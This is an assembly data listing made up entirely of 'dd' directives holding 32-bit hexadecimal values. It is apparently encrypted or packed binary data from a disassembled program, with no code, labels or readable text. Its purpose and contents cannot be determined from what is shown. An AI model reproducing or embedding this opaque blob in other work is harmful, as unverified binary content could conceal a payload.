		dd 4C1EDC55h, 1271373h,	825B925Ch, 0F7832067h, 23103109h
		dd 506B8629h, 2C16752Ch, 54E3F90h, 4EED103h, 840721A1h
		dd 9FA15FAEh, 1DE985E0h, 92A46788h, 3E518049h, 6AF4FFA0h
		dd 0BFDC7A82h, 4D098444h, 57533D6Ch, 6C7DCA92h,	21664E95h
		dd 4953708Eh, 0BFC13F2Dh, 0D1000D67h, 0D05839EAh, 8D821024h
		dd 2047C707h, 3809A014h, 0C1EE6FD1h, 464677Ah, 0D8BE0609h
		dd 7E40C46Dh, 6F479D5Dh, 0DD6FD21Ah, 0EC23D62h,	0B2CD44F7h
		dd 47CF0715h, 6F289453h, 0F7D3DBE1h, 12B138FAh,	0E8B867D5h
		dd 0AE2DEE97h, 2933D2F6h, 9A9A52F9h, 0FA720631h, 97B22BF9h
		dd 0EC5ADD90h, 0B5A35FDCh, 0BE6C8116h, 65A1EF34h, 0D057A36Bh
		dd 5FBF8BCDh, 0AFE90FA1h, 0C450380Dh, 0DCAFE7ADh, 0C2B15CC2h
		dd 0D673DA8Bh, 0B738D2D6h, 2180973Eh, 0E2584AC3h, 2AAD4AE3h
		dd 65F38101h, 322C2008h, 0BAAB1263h, 896C5A3h, 0AA3A5709h
		dd 0BF009F5Ah, 277D139Dh, 994A0968h, 8260A628h,	8E656DDh
		dd 2EDF885h, 596EE907h,	14B745E6h, 0DCE9309Bh, 61C9BF6Dh
		dd 0F834642Fh, 5F85FA61h, 94A2A310h, 0AFC0E42Ah, 6D9279Dh
		dd 0BFE94130h, 0E4E158D0h, 0A0902C5Bh, 1C90812Dh, 0D8575BC7h
		dd 650F1F79h, 89434A64h, 0E30BA0C3h, 4EF36BABh,	0F848189h
		dd 0A79F3C7Bh, 0AB6EEBCFh, 28B965D2h, 0B98E5B48h, 13C990CCh
		dd 2DFA1C8Bh, 0BE303ACEh, 0BC259268h, 0DE034BD3h, 85765CA0h
		dd 0F402A38h, 0A9CE212Eh, 5A32D04Bh, 5FDCA046h,	52484C1Fh
		dd 71E51049h, 0C9E69846h, 4741F868h, 0C6F7EAEBh, 49A1F00Bh
		dd 513809CFh, 8C4A88C1h, 685E0391h, 3D3C1266h, 50E741C0h
		dd 4F36C3C5h, 4221D951h, 8801D2E3h, 8159387Fh, 0E435B82Ah
		dd 5DB44BEEh, 50488758h, 133101DDh, 0EF834BE7h,	3005296Ch
		dd 0D135FD2Dh, 0E29A7EE8h, 0C22F445Eh, 0E7634BBCh, 1310F767h
		dd 58890C2Ah, 0A84450F8h, 4BA01B0h, 80F12C25h, 0C383FFEBh
		dd 66A92EAFh, 7D7A105Eh, 30DF0B89h, 97A44880h, 47D10333h
		dd 77D26A6Ch, 15FFC4Ch,	0F53DEFBAh, 5E468255h, 0C0525448h
		dd 7865A5A1h, 17E91243h, 0DCD3AC7Bh, 0D904DE97h, 0FE00D177h
		dd 11F480CCh, 12E3203Eh, 12ADACEBh, 75A0A91Ah, 0F0BFB22Dh
		dd 429651CFh, 0B0C4F82h
		dd 73274032h, 3BD901DEh, 2959CD31h, 52DA41E8h, 3CFD7250h
		dd 30869268h, 55C29C80h, 811D13C7h, 259D04CAh, 0ACBFB462h
		dd 976BAD02h, 85BFAEE9h, 0D8F1A27Dh, 25E96754h,	0B5D4D1A5h
		dd 53081E1h, 0F971E98h,	3FF9092Ah, 0B328F050h, 62A0D165h
		dd 301E5BDAh, 0ED425AD5h, 51E8282Fh, 815344C9h,	79D3A63h
		dd 0EF725667h, 97405E86h, 7720EEDEh, 1730635h, 0E1056190h
		dd 2E553815h, 65401A1Fh, 0E92E10FBh, 1C0095C9h,	873862D1h
		dd 45666A73h, 1F14C109h, 83428107h, 0C376C4E1h,	0A41F16BEh
		dd 0FFCF3B49h, 2CFCD64Ah, 7538B01h, 80C3B84Ch, 6621050Bh
		dd 482913A5h, 970B0ED0h, 4FF40475h, 0EE3FB604h,	0F1F57180h
		dd 21D92662h, 0B72504C7h, 8A028191h, 90DF6CF3h,	762204F9h
		dd 9FB6D71h, 30D70178h,	5EEF122h, 510AB7CCh, 0B9A02C5Dh
		dd 353C9809h, 76C9803Bh, 300A4A39h, 0CEC0D1F7h,	605E1C73h
		dd 5E9C202h, 0F2D55A67h, 0CF58B744h, 52BFF224h,	1A88A42h
		dd 34207D68h, 0C6F5827h, 7ECF4B0Ah, 45B46054h, 0C695E508h
		dd 0CD803195h, 2F0C9CBCh, 899F0BA3h, 0ECF9EE43h, 16C2FC88h
		dd 0A245FC5Eh, 85A35957h, 0BCD4685Ah, 1809D267h, 0C2507E78h
		dd 0F620B59Ch, 5C9076DAh, 0DB6B7877h, 46117BFCh, 0CBED004Ah
		dd 293AB462h, 0AA0A8B1h, 169D8B5h, 197D4036h, 3FBE15E9h
		dd 267983B3h, 88CDCD53h, 0B8014E84h, 49711CEDh,	41081A30h
		dd 0FAD16A5Bh, 5F00EC4Bh, 8172EB01h, 0A71E1809h, 43FA711Dh
		dd 225EC301h, 3681EAD4h, 746F9CA7h, 0A79FBBDFh,	0F22EA741h
		dd 4950D969h, 6866A182h, 0D87E0763h, 0F6FD8881h, 0E8D550D5h
		dd 0C280846Bh, 0D7097E9Fh, 0D3798502h, 77EC106h, 0BD43930Dh
		dd 0A4116019h, 0F095E642h, 4AF0BF11h, 4DAC7A1Bh, 1B64F00Ch
		dd 83A8952Bh, 120C3408h, 78770C14h, 295E66EDh, 1C429B8h
		dd 0B9E9024Ch, 0B7987D90h, 33C1A126h, 45B15152h, 0BD0E1CE8h
		dd 0E5F1CDE4h, 0D9B92C57h, 20B2021Ch, 3AD75210h, 0C8C3B4h
		dd 838B789h, 805B66FAh,	2596CA3Fh, 0DFF142EEh, 2921B884h
		dd 0C03C24B0h, 1BF007E2h, 80BB00BFh, 4E28AAF1h,	7F0DA2C8h
		dd 7DBE82Ch, 807AB180h,	66FE94E1h, 34880AC1h, 1192087Bh
		dd 0F6C13698h, 58E32859h, 5EA76D60h, 30A48956h,	2EB4DDFCh
		dd 14C89FC5h, 69C041DAh, 0CEBD4B2Eh, 7C2D6809h,	4586755h
		dd 0BD6ED1E9h, 59C9DE4Eh, 90C4C461h, 311217CDh,	0B3FC04C8h
		dd 0BDB700CBh, 0F401EF80h, 47FE62C4h, 5E250268h, 0FEDC12BBh
		dd 0F22EC769h, 983E108Ch, 0B2B0FC4Ah, 0E06810EFh, 64775E95h
		dd 0F6CFEFCEh, 37129142h, 9274AD09h, 5BCB83D8h,	92ED376Dh
		dd 0AD64E2DEh, 0D760030Bh, 9D02F572h, 65AEA81h,	0F27E68B7h
		dd 7FF612CAh, 0B186016Eh, 7B44665Ah, 0F252F40Eh, 0E9566CFAh
		dd 61F1D04Fh, 9218F0Eh,	18544F08h, 4E998259h, 0D4762725h
		dd 6A08A093h, 15A4A65Eh, 14FD12Bh, 0DCF9C8A9h, 99C72ECEh
		dd 88A5D68Bh, 133D486Dh, 23ABA363h, 0BA8501E7h,	450EFCEh
		dd 6F819D02h, 6E3A0650h, 3BB5FA1Dh, 91694BAh, 0B07D99A2h
		dd 824BDC74h, 7F8876C0h, 0D02DEB2Dh, 4891BE6Eh,	0B25A129Bh
		dd 9688DE3h, 811C9493h,	2EC386DFh, 9317A7A3h, 0E83DFEB0h
		dd 0D7982C3Bh, 0D441C841h, 0AD017C5Fh, 38332B55h, 0AA43D9B9h
		dd 0BC9FD60h, 45E64EBCh, 1609CF00h, 0E92A0D44h,	31509EF7h
		dd 0E840A1F9h, 0B7A3A4BDh, 0B7034164h, 894D1BB2h, 98C958DAh
		dd 0BD6CF616h, 0F501C901h, 2BF7B92Bh, 0C053D415h, 96C47D9h
		dd 6852551Dh, 3A924E41h, 0A17E4A5Ah, 5F0B4060h,	89E2BE31h
		dd 0A111DFB6h, 42FEB527h, 0FE070118h, 0FEBB8CDh, 59EE28B3h
		dd 19F6C7h, 0B9B5E9F3h,	0A1203899h, 4FE9CEBDh, 2DE6A251h
		dd 57B9E159h, 0F414D68Bh, 0AA8C05E4h, 7D186813h, 62804837h
		dd 4B276F5Dh, 4631B058h, 0C1644427h, 0D9CA05F4h, 0CEA68853h
		dd 729DF280h, 7D2160BBh, 94234ED7h, 4FCDFCC6h, 9CC03CC8h
		dd 4D85A2E8h, 563FA3F7h, 0AD6FCD17h, 780B6962h,	0D20C2CC4h
		dd 0D56BF4h, 5B0F8FE5h,	92AEFE1Eh, 1A2D05ECh, 0EB7E9D79h
		dd 702A184h, 83D810E9h,	0D2DA0354h, 0F944DD97h,	217CE931h
		dd 97205F54h, 574082DBh, 114EA075h, 0C1103EF6h,	675D2561h
		dd 9851A5F7h, 8820C06Bh, 0C6E924C2h, 0E5C086FBh, 65A0604h
		dd 540347A9h, 0CCB45066h, 9D7FE87h, 0F625C0Dh, 29C0B177h
		dd 2DF7A07Fh, 1D157B02h, 6C49F1E9h, 0E677A49Fh,	483E05EFh
		dd 0B482E903h, 0F297EEAEh, 2D08B025h, 0AC7305BEh, 1F4A6E08h
		dd 510ACBC1h, 25650491h, 0F45B395Eh, 0BE1556AFh, 81AE0134h
		dd 6D716C87h, 380BD648h, 69025C64h, 490AA1FFh, 43E6E571h
		dd 0CE16F048h, 4DE9126Bh, 5E25A7A1h, 2E48A1BDh,	0D28BB65Ah
		dd 36099A1Ch, 0C51A8209h, 586644Ch, 2EA44FEBh, 6DFAE047h
		dd 31B15010h, 0BF786E04h, 118FAF5h, 5C7FD2BCh, 9218EFFCh
		dd 0EF5AC751h, 54C4DA8Bh, 49E9E236h, 21F9BD6Bh,	0DBE32B79h
		dd 658A5313h, 0FD8382D3h, 63B56BE1h, 2FCA4CFFh,	6F7003F7h
		dd 0B24D165Ch, 5160BB1Fh, 37E9D828h, 52224DA0h,	0B16A48E3h
		dd 145D67A9h, 0CA8F3AAh, 0B4A120C4h, 92432C3Bh,	8EBB6DA5h
		dd 78B717D5h, 2C262EB4h, 2743DD07h, 9CBA2282h, 8002B200h
		dd 0F8A94BE2h, 0D2F6182Ch, 20E92EDCh, 2EE758F9h, 264C35CAh
		dd 0B6E1D125h, 9398CDE9h, 0CB8055C1h, 9C4A3627h, 817225C5h
		dd 337D310Eh, 0B7E2C030h, 0B0705D79h, 762D76BBh, 0F852D259h
		dd 0E9CE1724h, 78FC8917h, 0FC7B16F5h, 837D84B1h, 3D0D6802h
		dd 36C2B59Bh, 0CFE9A068h, 1024BE4Ah, 6A126282h,	0B6E5572Ch
		dd 9D482E6Ch, 9D4F07F1h, 76EA14BFh, 2DB9F94h, 3C25489Ch
		dd 3F611372h, 4FB3EC6Fh, 0FF5058A6h, 2861255Dh,	17F7D5C0h
		dd 0CA13572Fh, 7F080A69h, 1CC21420h, 0D2E497E9h, 12504A87h
		dd 85FDFDADh, 2ACD5BD8h, 0F26A54D9h, 47A78404h,	3B2229ABh
		dd 16295C52h, 0B6DB3F41h, 0FE596600h, 3B90C54Ch, 51538108h
		dd 0EF88F3B5h, 824B3970h, 4001DF70h, 657A2D48h,	8FFD4EBFh
		dd 0B5BD2274h, 0C8B79E6Eh, 0BA32E9BDh, 42C700CCh, 0AE0AB338h
		dd 5A77F73Ch, 9DEB89FEh, 32BCCD61h, 20049C5Dh, 3B6CA72Dh
		dd 5725417Dh, 60EC51ACh, 1DF3685Eh, 7CD86697h, 0D08181EAh
		dd 0EC1ED23Ah, 8AE60153h, 48288310h, 0B05CB2EEh, 8B50971Bh
		dd 62E4F07Bh, 6F3623BDh, 0C9E13D9Dh, 4521892h, 0EB779C38h
		dd 0A8C1F531h, 40F50848h, 9C0CB25Ch, 34EBC280h,	0D9218064h
		dd 0CE6C54B6h, 0AB732EE7h, 46E601B2h, 3129A777h, 0E064F019h
		dd 0EEC1100Fh, 4414B802h, 9FED735Eh, 494847D8h,	300E1C15h
		dd 5B5C1698h, 7FE92550h, 0EA7CFF42h, 389D0140h,	0D7295E79h
		dd 94F1A0A6h, 0F8BF21C3h, 0FCBC2A32h, 9B6E8963h, 4EBCB900h
		dd 813F17EEh, 0EA728BF1h, 25FD701Dh, 0F570DD01h, 0B13EC3Dh
		dd 70CF8715h, 25E9E8D5h, 7871A98Dh, 6E7BC189h, 0F85C5F00h
		dd 62ABE53Eh, 5260CA27h, 5281726Bh, 8542EC88h, 69086805h
		dd 1B106EE6h, 0B1BF027Eh, 0FF125F22h, 9B788048h, 0BD7479Fh
		dd 7825150h, 0C7575E5Dh, 69D92529h, 626B020h, 0E810FC53h
		dd 0DF78592Fh, 2A601695h, 2CC40E9h, 13F8B850h, 0B2602659h
		dd 6D5C14D5h, 468C12DCh, 0EC2C75ABh, 4C5730DBh,	12F00ABAh
		dd 4EF8976h, 0EECD4B51h, 6E3FE830h, 27367D92h, 0AEC97FA8h
		dd 5B0BD67Ch, 88482DDAh
		dd 0EB124A05h, 0A0A05243h, 34E92C5Ah, 6B56A52Bh, 0B76C0E2h
		dd 0A49683F5h, 87BAA52Ah, 0A44D8735h, 2CCAC45h,	73E96869h
		dd 6FBA5F6Ah, 555BC255h, 5381FD47h, 5051D788h, 0EE52FCD0h
		dd 96F5F2E6h, 0D5515267h, 876C8840h, 81EA9501h,	99432540h
		dd 0C608AF99h, 0CCBF0748h, 0AB019502h, 92BADD85h, 29CEC4h
		dd 748F0861h, 12A1B68h,	44E2107Ch, 16FE0C92h, 94050B2Dh
		dd 4A9FFC4Bh, 0DB22BE9Bh, 5BFE525Ch, 0C25EB8D7h, 94F4E1E9h
		dd 483490FAh, 0C1846DDCh, 0DDB83236h, 9A4366A9h, 62EE81B9h
		dd 44F66318h, 0EA99039Eh, 3B6F592Ah, 75522FD9h,	0E7887D9Ah
		dd 276C5BFBh, 0F2E9CEB8h, 0ECECB24Fh, 87244F9Dh, 8AE82365h
		dd 84BB584Dh, 5AF34FA7h, 0A1F2E893h, 5207EB31h,	81A2443Ch
		dd 0A2305A07h, 13162FB3h, 58D42A60h, 0A18F5582h, 6A39200Dh
		dd 0A80D9024h, 0D847A19Bh, 591C576h, 5F0C46E5h,	90E3034Dh
		dd 0F48562FCh, 925A9157h, 222AE9C9h, 0B45C55AFh, 69C95D96h
		dd 50EA4F05h, 0EB04C06Ah, 0B556DB65h, 49080624h, 0C972E914h
		dd 5A52A68Dh, 0CD8EA9AEh, 0AD13D726h, 9CD83ED2h, 6743A917h
		dd 8E2D92EFh, 1D9BA1A6h, 0CB7D4498h, 0D5C5A34Eh, 6C2DE1CBh
		dd 59651F74h, 0AFC316FBh, 89A12F53h, 0C65EC502h, 478F14B6h
		dd 8D138220h, 3EEA8D7Dh, 57E7E632h, 777AF1D9h, 53153903h
		dd 0C83139E0h, 4BB96C9Dh, 68B34EC3h, 898E212Ah,	66D3EE13h
		dd 0E618D4A4h, 2DDFED17h, 7574D06Ah, 0CEF159A5h, 298DB983h
		dd 70CB01C1h, 0B75B0F8Dh, 4332FBF0h, 42EF121Ah,	56CEA2B8h
		dd 825AD33Eh, 5B9A2192h, 78D882D5h, 9177295Bh, 47205C36h
		dd 1B5D6B99h, 0A862BA02h, 0BB0498C6h, 1EE73C9Bh, 0DF5C6BFh
		dd 7F3EFC98h, 7C3FAD26h, 0CEEF81E3h, 0A0653242h, 880B312h
		dd 37B41DE9h, 0FC554D0Eh, 0C34210E6h, 0C3CEFF02h, 1FB92F30h
		dd 1674FCF2h, 0D74A6E16h, 3F85A007h, 0E97C7C3Ch, 2ABCCA9Fh
		dd 67105CFBh, 85B2520Fh, 0D3866D05h, 84E7C72Bh,	46DCB025h
		dd 84B8899Fh, 80006BE0h, 58660EEBh, 8F202B9Ah, 0B53A5404h
		dd 0E4FD5001h, 0CE121683h, 10998B57h, 0DD58082Eh, 9C5DCD25h
		dd 0DD6818F8h, 0B525290Dh, 9F852B94h, 80BE8438h, 719A289h
		dd 3EBB6D5Ch, 613B8CCEh, 0F6501A6Eh, 0BA6B4CB3h, 48C9A701h
		dd 2F09E93Dh, 0E02D860Fh, 0F742E85Eh, 0A2D175D8h, 0F158CAA8h
		dd 0D1309665h, 341CA74h, 9744B152h, 0DDED722Eh,	0FAC4E42Fh
		dd 5E7A2AF5h, 0E538C9BBh, 0AC8A46F9h, 5E960850h, 4A85CCA0h
		dd 40B2E563h, 8BE6E10Dh, 0F4A92C51h, 52E3370Ch,	888C5B1h
		dd 8B2ACB1h, 5E12A39Ah,	18864AB9h, 0EA0E938Ch, 337D7FF3h
		dd 0BE8B1452h, 3117D646h, 704AFAC3h, 0B3A88149h, 16830B5Ch
		dd 61EA80CDh, 0F0F18905h, 0CD979371h, 481410D7h, 3DAA1652h
		dd 0C5F33134h, 0B59C50h, 0B952064Fh, 0D854DF95h, 47FBE917h
		dd 0EE859727h, 8941C88Dh, 58005D50h, 0D509F681h, 206E1Ch
		dd 8903D207h, 0EEC13A76h, 0EC09CDD0h, 29B3051Ch, 0F063E9F7h
		dd 0FAB50535h, 444B9004h, 0E0AF79Bh, 0CA182855h, 46AED02h
		dd 2315E05h, 276D8FBCh,	55426ACAh, 26FFC7D5h, 0D424CEh
		dd 59805B3Fh, 7B9481E9h, 17AB5A17h, 3601EB2Dh, 3F177F38h
		dd 0CFEEA03Ah, 487DA43Ah, 6B3B1BE3h, 6921B131h,	7344A32Ah
		dd 3AB2DA5Fh, 0CFE18102h, 8B8DEF12h, 444C7A82h,	4BCE3ED3h
		dd 106BF3D8h, 5C26813Ah, 2CC817A4h, 969F553Ch, 5D770030h
		dd 0E9471346h, 0FAAB51D6h, 949FB5A3h, 2E9389C1h, 0E0E82FF5h
		dd 7A6697A2h, 6567DF2Dh, 0FBA40CBDh, 0AB480F4Dh, 400984C1h
		dd 8D32A417h, 0BC01D640h, 67FD3CF4h, 72C713B7h,	0E4F49E1Fh
		dd 0AE7BF14Bh, 0E55827CBh, 9E5BE79Dh, 0CD79B1D2h, 60A0493Fh
		dd 529DEA0Eh, 0A253A0AFh, 3C12751h, 0AA089454h,	8A54124Ah
		dd 9064D7Ch, 8133B05Dh,	656C8DE9h, 0BED90471h, 52C1FE00h
		dd 2645B63Dh, 589447EEh, 98EAB5BDh, 0EF923F23h,	53BCE0BDh
		dd 2D49ACAh, 0CCFE0CECh, 0C784DCF6h, 57D941B1h,	0A42E4D19h
		dd 0A50531F3h, 0DF299586h, 4A0962E8h, 1E02126Dh, 5901D861h
		dd 0B73E3C87h, 0D33C8B64h, 43096958h, 523853FEh, 3F01AB01h
		dd 38060CD9h, 9F08885Bh, 48900C4Dh, 60806119h, 278C8268h
		dd 773EA808h, 0F04C180Dh, 8033F110h, 0DB80D142h, 0BDCA8032h
		dd 801EEF80h, 0B88063F8h, 6208C4B1h, 8845066Bh,	79D23120h
		dd 98D3C308h, 0F6792B18h, 49BE83B7h, 31B6A320h,	34106CFEh
		dd 7E088C74h, 635A1872h, 5B5008DEh, 610F1818h, 0C677DB08h
		dd 84AE518h, 73E15C63h,	537120BCh, 62C06A20h, 9BA7965h
		dd 2C94902h, 460312A4h,	81018C2h, 952008D7h, 826618C6h
		dd 93042008h, 31682620h, 0D5285275h, 0B3088CCAh, 0C6B2C120h
		dd 86F7610h, 314BC620h,	9E2010F9h, 4CDC01D8h, 166E001h
		dd 19019C23h, 0EA08883Eh, 6798080Bh, 28C1F30Ch,	8FA66BEh
		dd 0D131C936h, 0ABD90807h, 693A1889h, 18720026h, 8186C733h
		dd 3C082A7Ch, 764B20C4h, 8E49431h, 7D01971Bh, 0FFC3017Bh
		dd 488E9203h, 20983020h, 6C208E5Bh, 0ECAE2088h,	286AE234h
		dd 3208B886h, 3E189CD7h, 45A6F4A3h, 0EAC10819h,	8C51B418h
		dd 88856CDh, 1008F8C4h,	594F0C95h, 9A653730h, 0EC444808h
		dd 5206FED0h, 53E1185Ah, 112AAB80h, 2931E895h, 0E66A088Bh
		dd 9919308Ch, 7A406608h, 96440D9h, 6B282E66h, 333120C9h
		dd 58BF7024h, 1F1BE790h, 39D608B4h, 84E9331h, 9002CE67h
		dd 5CD880A7h, 0AD8045C9h, 9908C682h, 7831203Dh,	0E0330839h
		dd 81711024h, 0CBB824A7h, 0B6085763h, 45283148h, 3A3A959h
		dd 0F0712AC8h, 58322AD4h, 107062B0h, 0A5025F42h, 62244925h
		dd 0DC7518A8h, 18231808h, 8C94EAFh, 7F782699h, 96C720F9h
		dd 2153D937h, 6B0F0848h, 0CE8EF08h, 3008A8C4h, 0F2183163h
		dd 0B9081057h, 95A71038h, 28809D19h, 21C188BBh,	29441973h
		dd 35E42425h, 664AD340h, 0A953185Ch, 1034B14Dh,	7110984Ch
		dd 0C4BC2A66h, 2487C420h, 98B0309Eh, 91810819h,	0DFD318C5h
		dd 18FCC448h, 8F69798Ch, 9C6008C7h, 0A4C9E8D4h,	3D5D063Ah
		dd 8B5F2E43h, 605573E0h, 473B1040h, 20C752Ch, 0E8913EBh
		dd 3DA76FB9h, 44010540h, 4902408Fh, 0F775C90Bh,	8FC9C38Bh
		dd 0F003DE40h, 592397B9h, 0FC0C033h, 306B4FB1h,	959D702Ch
		dd 54F2BDD6h, 0A1688F0h, 0B7091C9Fh, 30E8CC79h,	0BA0A587Dh
		dd 8A333225h, 5B20143Eh, 7AF3B580h, 685EC291h, 602A40CDh
		dd 0E953576Ah, 184E3931h, 0F7F48BB0h, 0F1C11C80h, 0DD16FF28h
		dd 0E90BD90h, 5E995837h, 6634C5CCh, 0D1E32780h,	9A3DF47Ch
		dd 0C0164EBBh, 772CEC6h, 685F2141h, 0C5B05B62h,	0F75C6AB4h
		dd 0E3EF02E4h, 80761258h, 4A074287h, 0F10CC141h, 71F9D0E6h
		dd 3BC82C53h, 3B038F68h, 23E34601h, 4AC2176Bh, 0C9DA1EDEh
		dd 0B75EEF15h, 0E5550D80h, 0E2812Dh, 6110235Bh,	78E9F287h
		dd 2DF87A5Bh, 4089BEB5h, 17BF67Eh, 45AFBF57h, 952814AAh
		dd 25168A0h, 583CC413h,	138FF8B4h, 0BF77FD50h, 0C22C2C36h
		dd 5207E822h, 0B02A184h, 0DFE4B25Ah, 749E656Eh,	20FEE108h
		dd 0E1B75ED6h, 0ABE23F13h, 5448EDC6h, 81465E07h, 8E5990EEh
		dd 0DDC6C0B1h, 0BDD1E5ECh, 0C53130FAh, 5B542C1Bh, 7402A02Ah
		dd 0BE59E495h, 5BDEC216h, 0E9187470h, 0C781EAFDh, 72381B68h
		dd 0D7E02E46h, 0CCBA0269h
		dd 16B568BDh, 0F6D4A842h, 0B0731837h, 564D9D5Dh, 7C2F492Fh
		dd 8D82A762h, 46D7F23Ah, 0A9504EA1h, 96E5F4EDh,	31712C2Ah
		dd 6EE11790h, 5DF042D9h, 5B22C494h, 1824BD58h, 0C2D909B2h
		dd 0B8BA0208h, 222368D4h, 0AF61C0F6h, 17B8D10h,	0B720C909h
		dd 4CC07F61h, 0D21956E9h, 98DFA02Ch, 48A3A74Ah,	108B7918h
		dd 0BC5FED80h, 508A02BDh, 0AC3018ECh, 2C1266BEh, 48376EAFh
		dd 9DFCE0F5h, 50810E48h, 3810C468h, 0B5518052h,	0FA64B282h
		dd 1C5B4D9Ch, 0C7FE7880h, 289AF7E9h, 9E67BF38h,	48D3A43h
		dd 0F9C97829h, 9DE7B20h, 5F10D007h, 0D88C3874h,	5EEB2314h
		dd 46E85Dh, 10916852h, 955A3F5Eh, 0C9E90901h, 0F860AF39h
		dd 0FCA0C55h, 856421F3h, 9DC3449Dh, 8D684768h, 50EC5853h
		dd 8469D48Bh, 59945F12h, 0BF9DEC97h, 0B3ADDBD9h, 0F417B40Dh
		dd 0D627F735h, 0AD6AC552h, 0B302FDBAh, 8A483656h, 92246859h
		dd 0D69A2403h, 0BC87DE97h, 0FFA23B92h, 0D682870h, 9FBCA644h
		dd 585445B0h, 0B9ABF86h, 686E9F81h, 602DC9B4h, 45059711h
		dd 14193E9h, 0AB2ECCABh, 0B8121D60h, 74556548h,	22050B52h
		dd 6D82D3FCh, 0CC4058C7h, 0F6EF9C25h, 5102FBF6h, 0FC4845E9h
		dd 7C7F8396h, 0C043385h, 84B45482h, 0CE2FD1BEh,	0E9D13FBEh
		dd 316FE617h, 32BC956Fh, 0B9899F3Dh, 6BE27B02h,	69D396D7h
		dd 0F4F42966h, 0A0F3E941h, 3A71E004h, 4B8A8497h, 0C33280BFh
		dd 3BEE2B85h, 9C872BDh,	0FE6858A1h, 0DA544FABh,	507EE9F0h
		dd 77209D3Fh, 0DF33F0F3h, 0F6067D1Eh, 24AF34D0h, 0C9E181E3h
		dd 2C1F5470h, 0E87AE3DBh, 7789BEDFh, 2BC135C8h,	31FFC4Ah
		dd 204B2705h, 9ADDAB16h, 0BAE84030h, 0D93112B7h, 6C02FE2Ah
		dd 812DE829h, 3C4AE90Ah, 74DA8B35h, 3B73EBBDh, 0E9043344h
		dd 0AE5FD4F9h, 0F342AF39h, 5A6600ABh, 734AC980h, 0DD6B96A1h
		dd 192667FEh, 58943DF5h, 170DF22Bh, 86128E75h, 0D02714EEh
		dd 500A4310h, 0BD70FD16h, 0A29868E1h, 222CA5BAh, 27B09850h
		dd 547191FBh, 0F6B94D20h, 78E32A19h, 250DD4B5h,	262A7A48h
		dd 0D4F70593h, 9574D28Bh, 0B1C3FC2Ch, 71527E17h, 161D250h
		dd 28826F9Fh, 8B9BF281h, 0D80EE90Dh, 9559B544h,	39E068C8h
		dd 1D36D464h, 32BEE94Ah, 9481C01Ch, 0CC27F580h,	3C9810CDh
		dd 0FEA8A65Bh, 86ADFDA5h, 1DB8BE9h, 0C680D6F6h,	20F32851h
		dd 0D74055BAh, 88521250h, 4CBB09FAh, 0FBB6BA7Dh, 12030C6Dh
		dd 7400C117h, 5FDF37Bh,	136A523Eh, 10C80162h, 0E90B0831h
		dd 32078E5h, 724E07AFh,	20C49EDFh, 5AF44CAh, 0B0752B86h
		dd 54052C19h, 5D57428Eh, 453AE981h, 30F9CA2Fh, 63A8EE44h
		dd 0B76E5F68h, 5B0C4033h, 3853E915h, 4C4458ADh,	50EE2FC9h
		dd 91B9AE3h, 2FD706BDh,	0A81F5E8Fh, 16149108h, 28ACA00Bh
		dd 3D80F13Ch, 1A4B1083h, 0CE5BB248h, 0FE90CD6h,	7421649h
		dd 594FBE56h, 0EF0904ADh, 19687546h, 0EA299D58h, 0E9626653h
		dd 77DFEA20h, 0D2473BE8h, 6946D195h, 57F78B7Dh,	6817B516h
		dd 38AF0907h, 0E2949571h, 3A7A26h, 5537805Dh, 0F41A28BDh
		dd 56296E35h, 496C16Dh,	7F7F8B0Bh, 0B862F104h, 81BFBA4Fh
		dd 2FCB986Dh, 0FD54D0D2h, 68156D6Eh, 784A7C4Eh,	6570CA09h
		dd 0AD3CF164h, 0DE005C50h, 495EEB78h, 0C105E9C1h, 0D417EA8Ah
		dd 0B70C8325h, 0F7E888C5h, 38F0F26h, 957F20EBh,	759A6801h
		dd 216499B0h, 11BC40E2h, 37D2A528h, 0D84D72EFh,	5D5EEDCAh
		dd 7E09B602h, 4C0FD18h,	5197E931h, 1E5A4D9h, 19490ADBh
		dd 7FE850D1h, 5A0E5E12h, 8EE9CB09h, 0DEEE1285h,	0DE90C4Dh
		dd 49F71C8Dh, 3D13BFDEh, 0F2550922h, 5ACAB06Ah,	928D4DD7h
		dd 12091C17h, 0BBD4B45Bh, 0BA123A60h, 779F13D1h, 0FAF3EB06h
		dd 8AEE7F52h, 0E90B3447h, 9A291BA1h, 309895Ch, 7912FDF9h
		dd 0E5A032CCh, 28012567h, 0E9D72911h, 8B2A2E30h, 4893D263h
		dd 0AA68905Bh, 0C7E91C7Eh, 0F95F383Bh, 15049F79h, 74BE0103h
		dd 967FFCD2h, 812B06C9h, 81D4F454h, 359ABA48h, 0B06E68F7h
		dd 0BE307AD1h, 64B0B848h, 2138096Eh, 9C7E5FFAh,	0AAB6C281h
		dd 0DCDD3A84h, 0DA8AD6E5h, 2D072DD0h, 845A2ED4h, 0B7C7535Dh
		dd 9584D799h, 0B5FB905Ch, 0EC7988ADh, 0E32FA82Eh, 23170D69h
		dd 1F9312ACh, 0E9DD4255h, 0C577BFB8h, 0F15C45EAh, 55B41398h
		dd 0ABBFB1h, 2E5A50BBh,	407264A8h, 7E389E96h, 8218DE97h
		dd 8CC22740h, 40649A5Dh, 422E205h, 8E97564h, 6FD3B207h
		dd 77B36729h, 0F7AC0B0Eh, 0B1090016h, 42D3E92Eh, 5BA2DD27h
		dd 2909F7AEh, 0E544775Ah, 0E3B237FCh, 0F82FB4B3h, 3A583E89h
		dd 0BB0597D2h, 833360DBh, 6BA8E3E8h, 0F3EC3FC0h, 0EA3C1202h
		dd 57DA8938h, 0E28158C5h, 12944752h, 11FC022Ah,	22DED025h
		dd 493CDFC0h, 95C5B551h, 71261580h, 98F1011Fh, 0CB5F31C9h
		dd 0DCB0ED5Bh, 0EAB76E4Dh, 0C080C9Eh, 7078099Ch, 2F595B0Fh
		dd 0E3687549h, 0DA95F068h, 2777271Bh, 5CE45E7Bh, 0E9CE49A3h
		dd 0B057F009h, 2B2FCE5Fh, 9C175811h, 0AC4A0A35h, 25D60AEAh
		dd 0C9E09DB5h, 0E5A0DF2Eh, 9D064305h, 1B2D0C00h, 296E917Ah
		dd 740F9D8h, 0D73EADE9h, 7A1FF975h, 6A1EAA26h, 77F1DA96h
		dd 2E9AE9h, 80C4FE62h, 887DD0ECh, 19480AF8h, 77388B16h
		dd 0A9478AB0h, 0BAF75CD2h, 0BD964049h, 0AABD5AC5h, 75C78C91h
		dd 475D09A7h, 46E98518h, 640A8DC4h, 0B39E4F1Bh,	0C112226Bh
		dd 0F0574633h, 5BAB603Fh, 1814B1CBh, 0D560397Bh, 28596637h
		dd 588072EEh, 9644BFEDh, 5DF37730h, 591FF79Bh, 0D0218C52h
